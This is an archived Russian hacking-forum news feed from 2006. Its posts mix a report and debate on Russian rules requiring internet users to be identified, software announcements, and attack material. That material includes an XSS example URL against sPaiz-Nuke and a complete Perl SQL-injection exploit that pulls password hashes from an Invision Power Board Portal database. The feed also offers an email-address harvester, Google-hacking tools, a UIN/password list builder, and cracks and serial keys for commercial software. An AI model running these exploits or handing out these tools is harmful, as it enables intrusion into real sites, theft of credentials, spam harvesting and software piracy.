Архив новостей (2004-2015 год)

Ma-stiff · 31.01.2006

Грядет всероссийская интернет-перепись
10:35:56 // 30.01.2006
Российский сегмент всемирной сети перестанет быть анонимным: доступ можно будет получить только после предъявления паспорта. Правила оказания услуг связи по передаче данных, утвержденные правительством России 23 января, вводятся в действие с 1 июля 2006 года.

Сейчас практически услуги по модемному доступу предоставляются по Prepaid-картам – провайдер предлагает свои услуги (делает публичную оферту), а гражданин – покупает карточку и активирует ее (акцептирует предложение). И все. С 1 июля это будет незаконно. Кроме того, любой пользователь Интернета будет внесен в базу данных. Сначала абонент подает провайдеру заявление, в котором указывает все реквизиты, в том числе паспортные данные. Представители юридических лиц должны предоставлять свидетельство о регистрации и доверенность. Все эти сведения проверяются оператором и вносятся в договор, сообщает "Фонтанка.ру"

Собранные о пользователях данные, включая как реквизиты, так и сведения о расчетах за оказанные услуги связи, о соединениях, трафике и платежах, будут доступны Федеральной службе безопасности (а иногда и МВД) в режиме on-line. Хранить ее операторы должны три года. Кроме того, с письменного согласия абонента эти сведения могут быть использованы самим оператором для оказания справочных и иных информационных услуг или передаваться третьим лицам.

Используя сведения о пользователях Интернета, можно определять, кто пользовался тем или иным сайтом, какие страницы смотрел, кто пишет на форумах под псевдонимом, пользуется бесплатной почтой (mail.ru и т.п.), кто искал на просторах Интернета ту или иную информацию и т.д.

Использовать эту информацию можно в различных целях. Например, чтобы шантажировать семейного чиновника или бизнесмена, который на досуге смотрит порносайты. Или включить в список подозрительных россиян, которые по тем или иным причинам ищут информацию об изготовлении самодельных взрывных устройств, пользуются сайтом ЦРУ или зачитываются информацией про Ходорковского...

Проблема защиты данных о пользователях Интернета касается не только России. Например, Министерство юстиции США потребовало от владельца портала Google предоставить информацию обо всех сделанных в июне-июле поисковых запросах, а также об интернет-адресах, с которых эти запросы были сделаны. Документ сделан в соответствие с законом о борьбе с детской порнографией, с доступом детей к материалам сексуального характера и т. п.. Google сочло требования неприемлемым, так как связало это требование с нарушением обязательств компании о конфиденциальности. Даже после того, как правительственная структура уменьшила свои "аппетиты", ограничившись требованием передать лишь тексты пользовательских запросов (без указания сведений о клиентах), оно было отклонено. В ближайшее время спорный вопрос будет решаться судом в Калифорнии.

Однако от идентификации пользователей могут выиграть владельцы сайтов и рекламодатели. Применение технологий оценки аудитории позволяют оценить, из какого города приходит посетитель сайта, сколько раз, какую операционную систему использует, разрешение экрана и другие технические параметры компьютера. Но никакие счетчики не могут определить возраст посетителя, его социальную группу (руководитель или домохозяйка), пол и т.д.

Если провайдеры будут делиться базами данных, то рекламные агентства смогут проводить уже не анонимные, а персонифицированные оценки посетителей. Даже если большинство клиентов и не согласится раскрывать свои сведения, провайдер может сделать это либо нелегально, либо указав "согласие" обязательным условием договора.

Информация взята с http://internet.ru/

От себя добавлю следующее:
1) Стоило американцам взятся за Google & Co. (см. тему "Буш наезжает на поисковики") - и тут же наши, повинуясь обезьяннему инсинкту решили показать, что они не хуже.
Вопрос: не хуже в чём? В установке тоталитарного режима в стране?
2) А что будет с GPRS, со спутниковым соединением? А хотя СИМки-то вроде все с паспортами покупали...
3) Подозрительное молчание наших СМИ наталкивает на мысль об очередной "утке". Несмотря на то, что под их заявлениями о собственной независимости частенько подразумевается лишь независимость от конечного потребителя (т.е. от нас с вами), всё равно все подобные а) выдающиеся задумки правительства и б) преступления против демократии (кто что выбирает) широко и бурно освещаются и обсуждаются в прессе. А тут... Может, они ещё в Интернет не выходили?
4) И всё-таки не верится мне в это. Не хочется верить. Даже при всём желании наших политиканов, даже несмотря на прошедшие 70 с лишним лет тоталитаризма, ну не могут они снова взятся за старое. Просто не могут. Ну... Ну ведь не могут, правда?

Дополнительная информауия:

http://www.minsvyaz.ru/site.shtml?id=3667
Постановление Правительства РФ от 23 января 2006 г. N 32 «Об утверждении Правил оказания услуг связи по передаче данных» - сайт Минсвязи.
http://www.government.ru/data/news_text.ht...3&news_id=20235
Постановление Правительства РФ от 23 января 2006 г. N 32 «Об утверждении Правил оказания услуг связи по передаче данных» - сайт правительства РФ.
Документы вроде как одинаковые.

Комментарий одного из посетителей http://fontanka.ru
(преведнено полностью, без изменений, с http://www.fontanka.ru/157288):

Уважаемый Петр.
Не скажу за всех, скажу за себя, что в этой статье не так.
Ради дутой сенсации автор грубо передергивает и извращает смысл данного постановления.
Вот что он утверждает(!):
" ... Российский сегмент всемирной сети перестанет быть анонимным: доступ можно будет получить только (!!!) после предъявления паспорта..."
...Кроме того, любой (!!!) пользователь Интернета будет внесен в базу данных..."

А далее он начинает нам рассказывать о том, что можно будет сделать с ИНДИВИДУАЛЬНЫМ абонентом - физическим(!!!) лицом, заключившим договор на подключение к Интернету, причем распространяет свой "рассказ" на ВСЕХ пользователей Интеренета, не упоминая об этом факте.
Так все узнать об официально заключившем договор индивидуальном абоненте - физическом лице можно и сейчас. И паспорт нужно предъявлять при договоре.

Автор же утверждает. что поголовная регистрация коснется всех без исключения пользователей Интернета, что представляет собой ЛОЖЬ.
Для абонентов все остается как и было раньше. Учитываться (среди физлиц) будут только индивидуальные пользователи - физические лица, заключившие договор. Посетители Интернет-кафе, сотрудники предприятий, имеющих выход в Интернет, подключающиеся посредством активизации интернет-карт как были анонимными, так и остались ими.
По поводу интернет-карт все чуть выше подробно разъяснено, - они остаются и это постановление их не отменяет.
Так, что автор просто ... ммм ... говорит не совсем ... , в общем, автор не в теме. И это вызывает раздражение и неприязнь.

К тому же, уважаемый Петр, приведите пожалуйста цитату из статьи, где автор не отрицает, что в интернет-кафе можно ходить без заключения договора в письменной форме?

Обсуждение на форуме ЛДПР (попалось под руку):
http://ldpr.ru/forum/viewtopic.php?t=731

Winux · 31.01.2006

sPaiz-Nuke Cross-Site Scripting Vulnerability
Короче говоря XSS. Сопли распускать не буду.

Пример/Сплойт:

Код:

http://www.example.com/sPaiz-Nuke/modules.php?name=
Articles&file=search&query=[XSS]&type=articles&type=comments

[New$paN]

:zns2: Производитель

Winux · 31.01.2006

IPB Portal 1.3 SQL injection Get Hash Exploit
Программа: Invision Power Board Portal 1.3 by Dragoran
Описание: Злоумышленник может сформировать SQL запрос, выводящий хэш пароля выбранного пользователя.
Использосание эксплойта: ipbpro.pl [HOST] [PATH] [Target id]
Тип уязвимоси: SQL injection
Язык сплойта: Perl
Устранение уязвимости: Невозможно на момент постинга
Эксплоит следует далее..[New$paN]

Код эксплойта:

Код:

#!/usr/bin/perl
###########################################
#IPB Portal 1.3->Invision Power Board plugin
#Created By SkOd
#SED security Team , http://sed-team.be
###########################################
#google:
#"Portal 1.3 by Dragoran"
###########################################



use IO::Socket;
if (@ARGV < 3){
print q{
############################################################
#      IPB Portal 1.3 SQL injection Get Hash Exploit       #
#          Tested on Invision Power Board 1.3.0         #
#       created By SkOd. SED Security Team             #
############################################################
   ipbpro.pl [HOST] [PATH] [Target id]
     ipbpro.pl www.host.com /forum/ 2
############################################################
};
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$id = $ARGV[2];


$serv =~ s/(http:\/\/)//eg;
$path = $dir.'index.php?act=portal&site=-999%20
UNION%20SELECT%20substring(password,1,10),substring(password,11,20),substring(password,21,30)%20
FROM%20ibf_members%20Where%20id='.$id.'/*';
$path2 = $dir.'index.php?act=portal&site=-999%20UNION%20SELECT%20substring(password,31,32),null,null%20
FROM%20ibf_members%20Where%20id='.$id.'/*';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failed\r\n";

print "[+]Connecting...\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected\n";
print "[+]User ID: $id\n";
print "[+]MD5 Hash: ";
while ($answer = <$socket>)
{
$answer =~ s/40%//eg;
$answer =~ s/30%//eg;
$answer =~ m/valign="top" width="(.*?)"/ && print "$1";
}

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Exploit Failed\r\n";
print $socket "GET $path2 HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

while ($answer = <$socket>)
{
$answer =~ s/40%//eg;
$answer =~ s/30%//eg;
$answer =~ m/valign="top" width="(.*?)"/ && print "$1";
}

Вот этот фрагмент:

Код:

$path = $dir.'index.php?act=portal&site=-999%20
UNION%20SELECT%20substring(password,1,10),substring(password,11,20),substring(password,21,30)%20
FROM%20ibf_members%20Where%20id='.$id.'/*';

и вот этот:

Код:

$path2 = $dir.'index.php?act=portal&site=-999%20UNION%20SELECT%20substring(password,31,32),null,null%20
FROM%20ibf_members%20Where%20id='.$id.'/*';

Из эксплойта необходимо выровнять в 1 строку!

Winux · 01.02.2006

XSS and SQL error finder

Замечательная программа поможет вам сориентироваться в построении XSS уязвимости или SQL инъекции. В базе много готовыых запросов. Скачать можно далее...[New$paN]

:zns5:

Скачать|Download

Winux · 01.02.2006

TXTSpider

Хороший сборщик мыл от нашего друга F1reF0x'а.

Умеет:
- Собирать e-mail адреса из txt файлов.
- Обходить защиту типа Fox[@]Fox[.].ru.

Подробности далее...[New$paN]

How to:
- Указываем исходный файл (Для теста можно взять test.txt из архива)
- Указываем конечный файл
- Указываем какой символ считать за @
- Жмём собирать
- Жмём конопчку F что бы выкинуть мусор из результата
- Жмём ссылку www.F1reF0x.net что бы поблагодарить автора

:zns5:

Скачать|Download

© F1reF0x -//- icq: 343222 -//- www.F1reF0x.net
:zns2: Комменты на офф сайте

Ma-stiff · 02.02.2006

Winux · 02.02.2006

Google hacking tools
http://news.xss.pro/google_hacker.gif
2 замечательные тулзы: googler и google hacker 1.2 существенно облегчают процесс google хакинга.

1) Googler
Данная тулза ищет в гугле без открытия браузера. Генерирует список адресов (можно целиком, а можно только урл на индекс), который удалось проге выловить из гугла по введенным ключевым сломам.

2) Google hacker
Скриншот этой проги дан выше. Содержит ОГРОМНУЮ кучу готовых запросов в гугл. Выбираем, кликаем кнопочку и все.

Закачка далее....[New$paN]

:zns5:

Скачать|Download Googler
:zns5:

Скачать|Download Google hacker 1.2

scaM · 02.02.2006

Right Click Image Converter 2.2.2

Уникальный графический конвертор. Позволяет через одно нажатие в контекстном меню преобразовать изображение из одного формата в другой. Работает с форматами BMP, JPEG, GIF, ICO, PNG, TGA, TIFF, WBMP, PSD, CUT, IFF, DDS, PBM, PCX, PGM, PPM, RAS, XMB, XPM.[New$paN]

:zns5:

Скачать|Download

Код:

KRX-642-X1740948824551711527614232216857

or

Код:

KRX-642-X6189279543123341138742779319865

scaM · 02.02.2006

XPanel 1.1.6

XPanel - профессиональная панель управления хостингом, сервером и сайтом. Содержит в себе всё для полноценного управления сервером:

- Полный контроль файлов
- Полная настройка всего чего только можно настроить
- Умная система банинга (по ip, емайлу, имени, адресу )
- Защита Hotlink
- Автоматическая установка форума и mysql базы для пользователей
- Паролирование чего угодно.[New$paN]

scaM · 03.02.2006

X-Setup Pro 8.0.100

Позволяет менять "скрытые" настройки Windows - около двух тысяч (!) параметров, причем появляется возможность настраивать не только общие для всех разновидностей Windows параметры, но и имеющиеся только у тех или других окошек (например, которые есть только в Windows 2000/XP). [New$paN]Кроме того, можно настроить Windows на оптимальную работу с популярными видеокартами.
В отличие от многих других подобных программ, изменение настроек производится с помощью "мастера" с довольно подробным описанием изменяемого параметра (что меняется, а главное - для чего). На всякий случай имеется возможность "отката".
Следует еще отметить, что с помощью многочисленных плагинов к программе можно значительно расширить её и без того большие возможности по настройке Windows (плагины можно найти на домашней странице).

:zns5:

Скачать|Download + Кряк|Crack

Rar pass: www.2baksa.net

Ma-stiff · 05.02.2006

Полный архив статей журнала "Мир ПК" за 2002-2003 года (исполняемый файл, с возможностью поиска) и за 2004 год (pdf).
osp.ru/pcworld

2002-2003 года (именно за 2002-2003 года, имя файла дано ошибочно), 81Мб:
ftp://files.zipsites.ru/computers/mir_pk/...k_2003_2004.rar
http://www.zipsites.ru/computers/mir_pk/mir_pk_2003_2004.bat
http://www.zipsites.ru/computers/mir_pk/mir_pk_2003_2004.txt

2004 год, 167Мб в архиве, 206Мб в разархивированном варианте:
ftp://files.zipsites.ru/computers/mir_pk/mir_pk_2004.rar

Ma-stiff · 05.02.2006

6 книг от OReilly & Associates Inc.

scaM · 05.02.2006

BatchRename 2 v2.70

BatchRename 2 - это уникальная программа для пакетной обработки файлов. Возможности BatchRename не ограничиваются только переименованием. Вот основные особенности: Изменение названий и расширений файлов с использованием гибких алгоритмов за счет введения в шаблон различных типов данных: Константы добавляют в шаблон любой текст. Счетчики (буквенные и цифровые) позволяют нумеровать файлы.[New$paN]Переменные представляют любую произвольно ограниченную часть оригинального названия. Экстра переменные ссылаются на метаданные из файла - EXIF (jpeg, tiff), ID3 (mp3) и т.п.Внешние переменные вызывают вашу собственную программу для получения результата. Условные операторы позволяют справиться с самыми сложными случаями. В отличие от языков программирования, все типы данных создаются визуально и добавляются в шаблон одним щелчком мыши. Все настройки, созданные для конкретного случая, можно сохранить в отдельный пресет чтобы потом использовать с новыми файлами. SR допускает изменение атрибутов, даты, времени файлов (в том числе в соответствии с EXIF), выбор любого из пяти доступных регистров для каждого элемента шаблона или для всех сразу. В программу встроены редакторы EXIF и ID3v1/v2 метаданных. Вы можете изменять данные как для всех файлов сразу, так и для каждого в отдельности.

:zns5:

Страница загрузки

Код:

name: xss.pro/
pass: E9TLGP323H0508

scaM · 07.02.2006

KoolMoves 5.2

Обновилась программа для создания web-анимации, с использованием инструментов для работы с Flash и анимированными *.gif файлами. Программа может применять различные эффекты к тексту, импортировать векторную графику, добавлять аудио в формате *.wav, осуществлять градиентную заливку созданной кривой, присваивать различные действия кнопкам и изображениям.[New$paN] Благодаря тому, что с KoolMoves работать очень просто, даже не имея навыков работы с Flash, вы сможете создавать превосходные ролики, которые могут быть применены в качестве баннеров, при создании мультимедийного слайд-шоу, создании системы навигации по сайту и т. д. В этом релизе более чем в два раза увеличено количество эффектов, исправлены ошибки.

:zns5:

Скачать|Download
:zns5:

Зеркало|Mirror

Winux · 07.02.2006

Black Hole Organizer v3.0.11

Программа Генератор запросов SQL нужна для выборки информации из большинства баз данных.
Основные возможности программы:
Осуществляет выбор таблиц для запроса либо с помощью псевдонимов либо с помощью «местного» проводника.
При выборе нескольких таблиц связывает их по общим полям с возможностью редактирования связей.
Позволяет легко задать критерии отбора записей и вычисляемых полей. По мере накопления опыта можно и тяжёлый запросец написать. Имеется возможность создания запросов на замену значений полей и удаление записей согласно критериям отбора см. помощь.
Генерирует на основе выбранных и заданных Вами критериев SQL-код и выполняет его как локально так и на сервере.[New$paN]
Результат можно разнообразным образом представить на экране и печати, имеется возможность редактирования через результат выборки исходных таблиц, а также редактирования Мемо, Blob, Графики. Результат выборки возможно сохранить в форматах txt, dbf, db.
При создании выборки возможна настройка переменных критериев запроса, значения которых спрашиваются при выполнении запроса что полезно при создании гибких запросов например: можно менять при выполнении запроса номер участка, субсчёта и т. д. Возможна любая сортировка итогов запроса.
Запрос можно сохранить, снабдив пояснениями, которые видны при выборе сохранённого запроса, для выполнения другим Вашим коллегам по работе.
Выполняются также запросы в формате QBE (Paradox). Кроме таблиц db, dbf испытана на серверах БД - InterBase, Oraclе. При наличии драйверов ODBС и их правильного использования работает с EXEL и ACCESS и файлами правильного текстового формата.
Возможность транзакций и SQL-мониторинга, выполнения запросов в потоке.
И это еще далеко не все возможности программы.

:zns5:

Скачать|Download
:zns3:

Пароль:

www.2baksa.net

Источник: vipusers.net

n1†R0x · 08.02.2006

Норвежская команда, разрабатывающая широко известный браузер Opera, выпустила Technology Preview 2 девятой версии своего продукта.

Основные достоинства новой версии:

- поддержка виджетов.
- встроенный торрент-клиент.
- отображение уменьшенной копии страницы в табах. [New$paN]

:zns5:

Opera 9 TP 2: (англ)

Версия для Windows ( 4 MB )
Версии для *NIX:
http://snapshot.opera.com/unix/9.0-Preview-2/

Версия для MAC ( 10.7 MB )

n1†R0x · 08.02.2006

Обновилась седьмая версия самой популярной программы для записи CD - Nero.

Один из лучших пакетов программ для записи на CD-R, CD-RW и DVD диски, но не только для этого: теперь Nero - это многофункциональный набор средств для работы с данными, музыкой и звуком, фотографиями, телевидением и видео. Поддерживается работа с новыми форматами следующего поколения (Blu-Ray, HD-DVD) и многое другое. [New$paN]

Nero может писать CD-ROM (ISO, UDF, UDF/ISO, Boot, Hybrid), Audio CD, CD Extra, Mixed Mode CD, Video CD, Super Video CD, CD Copy.
Nero 7 Premium объединил в себе целых 18 программ, включая такие новинки, как система управления телевизором, поиск медиаконтента, средства резервного копирования и восстановления данных.
Включенные в пакет программы обладают очень большими возможностями, и вот лишь некоторые из них. Nero умеет писать одновременно на несколько приводов, возможна как потрековая запись, так и копирование всего CD, имеется непосредственное преобразование MP3 и WMA файлов в аудиотреки, есть встроенные аудиофильтры и WAV-редактор. Кроме всего прочего, имеются собственные средства для создания обложек CD.

Для желающих просто «писать» стоит остановиться на последней версии шестой серии 6.6.1.14 . HD DVD приводы пока не очень распространены, если вообще где-то продаются, так что отказ от новинки не будет очень большой потерей.

:zns5:

Скачать|Download
:zns5:

Зеркало|Mirror
:zns1: http://slil.ru/22547698

X·ė·Ø·n · 10.02.2006

Альтернативные клиенты ICQ оглохли
3 февраля в протокол обмена сообщениями интернет-пейджера ICQ были внесены изменения, в результате чего пострадали приверженцы использования альтернативных клиентов. Изменения коснулись протокола OSCAR, используемого AOL как в ICQ, так и в AIM, что парализовало работу Miranda и QIP - сообщения доходили до адресата, но не отображались.
В полной мере последствия редакции протокола проявились только 10 февраля, однако к этому моменту разработчики альтернативных клиентов уже успели выпустить заплатки к своим продуктам, восстанавливающие работоспособность интернет-пейджеров.

[New$paN]

Как исправить проблему с недоставляющимися сообщениями:
Miranda IM:

У кого работает стандартный Oscar-овский icq.dll, качаем исправление (home page)
http://addons.miranda-im.org/feed.php?dlfile=1683

У кого работает ISEE, качаем исправление (home page)
(примечание: в новая версии dll исправлена только ошибка с приёмом сообщений, она по-прежнему не позволит вам определять invisible)

http://www.etplanet.com/bio/miranda/archive/ISee.zip

QIP 2005:
Заменить qip.exe из архива (home page)
http://www.qip.ru/dll/qip7810up.zip

C 3 февраля AOL изменила протокол, сообщения доходят, но не отображаются:

[13:30:12 ICQ] Message (format 1) - UIN: 7xxxxxx0, FirstTLV: 19
[13:30:12 ICQ] Unsupported TLV (19) in message (format 1)

Winux · 10.02.2006

UPL Maker v1.0

UPL Maker - программа для создания больших UIN;Pass листов. Работает без подвисаний с файлами любого размера.
Укажите файл с вашими номерами, файл с вашими паролями и запускаем программу. Создается файл 'source.txt', и по истечению работы вы увидете сообщение о выполнении.[New$paN]
:zns5:

Скачать|Download
:zns2: Аффтары

Winux · 11.02.2006

Хакинг операционных систем windows XP и Linux
http://news.xss.pro/os_w_l_iddk.jpg
Это проект диска от ИДДК. Разпаковываем архив и записываем файлы на диск. Все, у вас в руках полноценная CD версия. Что на диске лежит? На этом - куча статей на тему наворотов операционных систем, их взлому и защите. Статьи конечно не авторсие, их массово скопипастили., однако это не делает их хуже. Скоро я выложу другие диски из выше-обозначенной серии. Размеры архивов с дисками от 10 до 15 мегов. Диск Железный хакинг - 40 мегов. Есть почти ВСЕ диски из набора. Если есть конкретные предпочтения - стучите в асю и я залью. Закачка этого диска далее...[New$paN]

Сообщаю автором диска:
1) О ваших правах на диске ничего не сказано. Бренд я не нарушил
2) Нефиг копипастить чужие статьи
3) Все равно большая часть всего что тут есть давно в паблике и нечего греха таить.

:zns5:

Скачать|Download

Архив новостей (2004-2015 год)

(L1) cache

Старожил форума

Старожил форума

Старожил форума

Старожил форума

(L1) cache

Старожил форума

CPU register

CPU register

CPU register

(L1) cache

(L1) cache

CPU register

CPU register

Старожил форума

CPU register

CPU register

(L1) cache

Старожил форума

Старожил форума